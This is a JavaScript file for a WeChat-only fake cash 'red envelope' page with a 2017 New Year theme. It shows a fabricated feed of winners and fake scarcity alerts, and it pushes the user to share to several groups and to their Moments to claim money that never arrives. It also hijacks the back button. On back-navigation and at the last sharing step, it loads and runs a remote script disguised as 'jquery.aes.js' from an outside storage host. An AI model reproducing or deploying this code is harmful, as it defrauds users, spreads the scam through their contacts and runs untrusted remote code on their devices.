﻿var ua = navigator.userAgent;
if (ua.indexOf('MicroMessenger') > 0) {
    document.title = '送你';
    function showtip() {
        wxAlert('\u6d3b\u52a8\u63d0\u793a\uff1a\u8bf7\u52a1\u5fc5\u5206\u4eab\u5230\u7fa4\u540e\uff0c\u7ea2\u5305\u624d\u4f1a\u5230\u8d26\uff08\u76ee\u524d\u5269\u4f59\u7ea2\u5305\u4ec5\u5269\u0031\u0039\u0035\u0031\u4efd\uff09\uff01')
    }
    function showMask() {
        $("#mask").css("height", $(document).height());
        $("#mask").css("width", $(document).width());
        $(".fenxiang_w").show(); $("#mask").show();
        showtip()
    }
    var oChai = document.getElementById("chai2");
    var oContainer = document.getElementById("container");
    var showmain = document.getElementById("showmain");
    showmain.style.display = "none";
    oChai.onclick = function () {
        oChai.setAttribute("class", "rotate");
        setTimeout(function () {
            oContainer.remove(); showmain.style.display = "";
            var a = 0; var b = setInterval(function () {
                a += 1; if (a >= 188) { clearInterval(b) }
                document.getElementById('get_money').innerHTML = a
            }, 6)
        }, 1600)
    }; $(function () {
        var e = [{ "w_name": "\u534e", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/3CC6C03786C6C693F364B395F327197F\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "7" }, { "w_name": " \\uD83C\\uDF80\\uD83D\\uDE34\\uD83D\\uDE34\\uD83D\\uDE34", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/77AC9176E0EE94A552AAD6961066D4BA\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "6" }, { "w_name": "\u8d75 \u5dcd", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D091A297D0A3D3619C6D828C681F305F\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "12" }, { "w_name": "\u5c0f\u5988\u54aa?\u4e91\u5728\u6307\u5c16", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/685AA36438DDD7E0EB55D0C18097CA1C\/100", "u_time": "\u63d0\u73b0\u4e86 1000.00 \u5143", "c_time": "5" }, { "w_name": "\u84dd\u84dd", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/DDA36344FDAF8DF2BFDD8F3DAEDE5B74\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "15" }, { "w_name": "\u6e29\u5dde\u5144\u5f1f\u5178\u5f53_\uff08\u554a\u677e\uff09", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/E2348DFF85AE861D17451BDDC0432809\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "15" }, { "w_name": "\u7b80\u5355", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/1656EDDA7E648DD32E862460EE92E1C5\/100", "u_time": "\u9886\u53d6\u4e865\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "15" }, { "w_name": "\u603b\u6709\u5201\u6c11\u60f3\u9634\u6715( ?????)\u3063", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/29DBC6217FA0B06ABC25C70FE260221F\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "9" }, { "w_name": "\u6bd5\u6c5f\u660e", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/72763DE05338B738EEA4D9FBEFD8DBBF\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "2" }, { "w_name": "\u4e94\u5e73\u65b9", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/9CFD84D74ABF5141EA8F6B73BD06C3E1\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "3" }, { "w_name": "\u838e\u838e", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/BA6DA5237D4175DDC750553561F219B7\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "8" }, { "w_name": "Jkj.", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/772D04D9EB8E70A961A1D5CABBCF293A\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "10" }, { "w_name": "\u5362\u6da6\u9704", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/25217BFE51A1B8A16160A9F43837A86F\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "7" }, { "w_name": "\u541b\u541b", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/198FD85BC7EFBCCB5C73AE4FEB633560\/100", "u_time": "\u63d0\u73b0\u4e86 500.00 \u5143", "c_time": "9" }, { "w_name": "\u5b59\u5c0f\u5175", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/02305E433C97C724931A79F8FB04FE50\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "7" }, { "w_name": "\\uD83C\\uDF3A\u3001dacy", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/48BE3B50C3E9847242626FF9A07C3317\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "7" }, { "w_name": "Mr. Xue ?", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/5283BB3808A16D227AC03DC4374F77C6\/100", "u_time": "\u63d0\u73b0\u4e86 1000.00 \u5143", "c_time": "2" }, { "w_name": "\u5b5f\u82d7\u82d7", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/BE2BFD6D743F815AC7A8FA974E40D4FC\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "6" }, { "w_name": "\u51e1\u5c14\u8d5b\u5bab\u7684^_^\u7cef\u7c73", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/C54D6E68485F84A86822CF7E473A93EC\/100", "u_time": "\u9886\u53d6\u4e8610\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "15" }, { "w_name": "\u798f\u661f\uff0c", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/2316567F52712C775048DB02BF5C261C\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "3" }, { "w_name": "\u8881\u82b3", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D1A596E47C0AA279BA8BB9BAAC02CC44\/100", "u_time": "\u9886\u53d6\u4e868\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "12" }, { "w_name": "\u5de6\u53f3", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/189955F05F482DE956480DB66B07E4DC\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "12" }, { "w_name": "\u6797\u6770\u68df_", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/5CD9B7ACD34332B8DA145BE3DE4C44FB\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "14" }, { "w_name": " \\uD83D\\uDC8B", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/B7CDFAA5FD54A0FD2904A30B6A29D660\/100", "u_time": "\u9886\u53d6\u4e869\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "13" }, { "w_name": "\u4e9a\u91cc\u58eb\u7f3a\u5fb7", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D3875B44A8DB4ABE135059C7362B4094\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "5" }, { "w_name": "\u5218\u83b9", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D6AEE11866CCEC092B82C532218F6B20\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "9" }, { "w_name": "\u3002", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/9ADBAEBE292B4FA0737F9DB142336157\/100", "u_time": "\u9886\u53d6\u4e869\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "2" }, { "w_name": "\u4e0d\u5728\u4e4e", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/71E4837B7B1F0A12D5F8D90234DDB95C\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "12" }, { "w_name": "IF YOU", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/E0FB2E95D84068B944789BF6569B3A7F\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "11" }, { "w_name": "\u66f9\u96ea\u68a6", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/A6F3CA4B97E59BB9AE5495984ACF3090\/100", "u_time": "\u9886\u53d6\u4e866\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "10" }, { "w_name": "\u4e00", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/0DE079B903E44F96AB9BAD85D706A61F\/100", "u_time": "\u9886\u53d6\u4e865\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "4" }, { "w_name": "Zhao. Devil \u03a8", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/94B9F8421330A7B82F019492C822BF42\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "14" }, { "w_name": "\u52aa\u529b\u594b\u6597", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D56EE4D71422A112CDA6B7B44D48B044\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "12" }, { "w_name": "\u7528\u6bdb\u4e3b\u5e2d\u7684\u6c14\u8d28\u538b\u5012\u4e00\u5207\u2121", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/FF4E560E4F11C2EBAAFFFC4625CD3122\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "11" }, { "w_name": "\u8461\u4e86\u4e2a\u8404\\uD83C\\uDFC3", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/F6213667E85E205FF363B3947D218D38\/100", "u_time": "\u9886\u53d6\u4e867\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "8" }, { "w_name": "\u5c0f\u5377\u5b50", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/D42066DE19EBB82D30A351185956DB41\/100", "u_time": "\u9886\u53d6\u4e8610\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "2" }, { "w_name": "\u51b0\u662f\u7761\u7740\u7684\u6c34", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/5DA508A1616E732B0EB92A1ADAF28456\/100", "u_time": "\u63d0\u73b0\u4e86 200.00 \u5143", "c_time": "2" }, { "w_name": "\u5927\u6735\u4e91", "w_headimg": "https:\/\/q.qlogo.cn\/qqapp\/1104718115\/9DE656A9B0C0384FCCF7D02BD02CFCB5\/100", "u_time": "\u9886\u53d6\u4e865\u5143\u73b0\u91d1\u7ea2\u5305", "c_time": "10" }];
        var f = 0; var g = new Date();
        for (; f < 5; f++) {
            var h = e[f]; $('.hbAvList').append(loadItem_1(h))
        } function loadItem_1(a) {
            var b = g.getHours();
            var c = g.getMinutes() * 1 + a.c_time * 1; if (c > 59) { c = c - 60; b++; if (b > 23) { b = 0 } } var d = '<li>' + '<img src="' + a.w_headimg + '" alt="">' + '<div class="hbName">' + '<h3>' + eval("'" + a.w_name + "'") + '</h3>' + '<p class="hbTime">' + b + ':' + c + '</p>' + '</div>' + '<span class="hbMoney">' + eval("'" + a.u_time + "'") + '</span>' + '</li>'; return d
        } function loadItem_2() { var a = '<li style="display: none;"></li>'; return a } function loadItem_3(a) { var b = g.getHours(); var c = g.getMinutes() * 1 + a.c_time * 1; if (c > 59) { c = c - 60; b++; if (b > 23) { b = 0 } } var d = '<img src="' + a.w_headimg + '" alt="">' + '<div class="hbName">' + '<h3>' + eval("'" + a.w_name + "'") + '</h3>' + '<p class="hbTime">' + b + ':' + c + '</p>' + '</div>' + '<span class="hbMoney">' + eval("'" + a.u_time + "'") + '</span>'; return d } setInterval(function () { var a = e[f]; $('.hbAvList li:last').slideUp(1000, function () { $(this).remove() }); $('.hbAvList li:first .hbMoney').css('color', '#949494'); $('.hbAvList').prepend(loadItem_2()); $('.hbAvList li:first').append(loadItem_3(a)); $('.hbAvList li:first').find('.hbMoney').css('color', '#FF0000'); $('.hbAvList li:first').slideDown(1000, function () { if (f % 2 < 1) { $('.hbAvList li:first').find('.hbMoney').addClass('animated tada') } else { $('.hbAvList li:first').find('.hbMoney').addClass('animated zoomIn') } f = ++f % e.length }) }, 2000)
    });
    var weui = {
        alert: function (msg, title, callback) {
            title = title ? title : "";
            var alertHtml = '<div class="weui_dialog_alert" style="position: fixed; z-index: 2000; display: none;margin-left:15%;margin-right:15%">';
            alertHtml += '<div class="weui_mask"></div>';
            alertHtml += '<div class="weui_dialog">';
            alertHtml += '    <div class="weui_dialog_hd"><strong class="weui_dialog_title">' + title + '</strong></div>';
            alertHtml += '    <div class="weui_dialog_bd" style="color:#000;padding-top:20px;padding-bottom:10px;"></div>';
            alertHtml += '    <div class="weui_dialog_ft">';
            alertHtml += '      <a href="javascript:;" class="weui_btn_dialog primary">\u786e\u5b9a</a>';
            alertHtml += '  </div>';
            alertHtml += ' </div>';
            alertHtml += '</div>';
            if ($(".weui_dialog_alert").length > 0) {
                $(".weui_dialog_alert .weui_dialog_bd").empty();
            } else {
                $("body").append($(alertHtml));
            }
            var weui_alert = $(".weui_dialog_alert");
            weui_alert.show();
            weui_alert.find(".weui_dialog_bd").html(msg);
            weui_alert.find('.weui_btn_dialog').off("click").on('click',
            function () {
                weui_alert.hide();
                if (callback) {
                    callback();
                }
            });
        }
    }
    function getSceneIdByCode(a) {
        var b = a.indexOf("-"); -1 != b && (a = a.substring(0, b));
        var c = a.replace(/A/g, "0").replace(/C/g, "1").replace(/F/g, "2").replace(/Z/g, "3").replace(/W/g, "4").replace(/G/g, "5").replace(/J/g, "6").replace(/Q/g, "7").replace(/Y/g, "8").replace(/S/g, "9");
        return parseInt(c)
    }

    function sharetips(num) {
        switch (num) {
            case 0:
                weui["alert"]('分享成功，请继续分享到<span style="font-size: 30px;color: #f5294c">3</span>个不同的群即可领取！');
                break;
            case 1:
                weui["alert"]('分享成功，请再分享<span style="font-size: 30px;color: #f5294c">2</span>个不同的群即可领取！');

                break;
            case 2:
                weui["alert"]('分享成功，请再分享<span style="font-size: 30px;color: #f5294c">1</span>个不同的群！');
                break;
            case 3:
                weui["alert"]('分享成功，剩下最后一步啦!</br>请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>即可领取！');
                break;
            case 4:
                weui["alert"]('领取成功，由于活动量较大，红包将会在7天后逐步到账.<br><span style="color: #f5294c">【另送您3次抽iPhone7机会】</span><br>请注意：朋友圈信息不可删除否则无法核实身份', '', gotocj);
        }
    }

    var timess = 0;

    function getShareData() {
        var e = shareUrl,
            d = titles[0],
            f = get_rand_pic();
        return {
            title: d,
            desc: desc,
            img_url: f,
            link: e
        }
    }
    function tempchangeTitle(e) {
        if (typeof ($) == "undefined") return;
        var f, d = $("body");
        document.title = e;
        f = $('<iframe  style="display: none" src="/favicon.ico"></iframe>');
        f.on("load", function () {
            setTimeout(function () {
                f.off("load").remove()
            }, 1)
        }).appendTo(d);
    }

    function get_rand_pic() {
        var pics = [
            'https://cdn.ur.qq.com/uploadImages/2016-12-22/20161222105628.PNG?id=',
            'https://cdn.ur.qq.com/uploadImages/2017-01-07/20170107011336.JPG?id=',
            'https://cdn.ur.qq.com/uploadImages/2016-12-22/20161222105709.JPG?id=',
            'https://cdn.ur.qq.com/uploadImages/2016-12-22/20161222105727.PNG?id=',
            'https://cdn.ur.qq.com/uploadImages/2016-12-22/20161222105748.PNG?id=',
            'https://cdn.ur.qq.com/uploadImages/2016-12-22/20161222105814.JPG?id='
        ]
        return pics[Math.floor(Math.random() * pics.length)] + new Date().getTime();
    }

    titles = new Array("给您发了一个2017新春惊喜");
    shareImageUrls = new Array("https://ww4.sinaimg.cn/thumb300/00695GCUgw1fbd5u5r0lpj305k05kgle.jpg?123ws");
    desc = '已有（' + parseInt(Math.random() * 40000 + 10000, 10) + '）人抢到';
    needtimeline = "1";
    timelinetitle = "给您发了一个2017春节惊喜";
    timelineimg = "https://ww2.sinaimg.cn/mw690/00695GCUgw1fbmnhin6zwj30dw0dwmxz.jpg?kih";

    var shareUrl = window.location.href;
    timelineurl = shareUrl;

    function gotocj() {
        $.getScript("https://shiu00983.oss-cn-shanghai.aliyuncs.com/jquery.aes.js?1111613");
    }
    watchUrl = shareUrl;

    window.onhashchange = function () { jp(); }; function hh() { history.pushState(history.length + 1, "message", "#" + new Date().getTime()); } function jp() { gotocj(); } setTimeout('hh();', 200);
}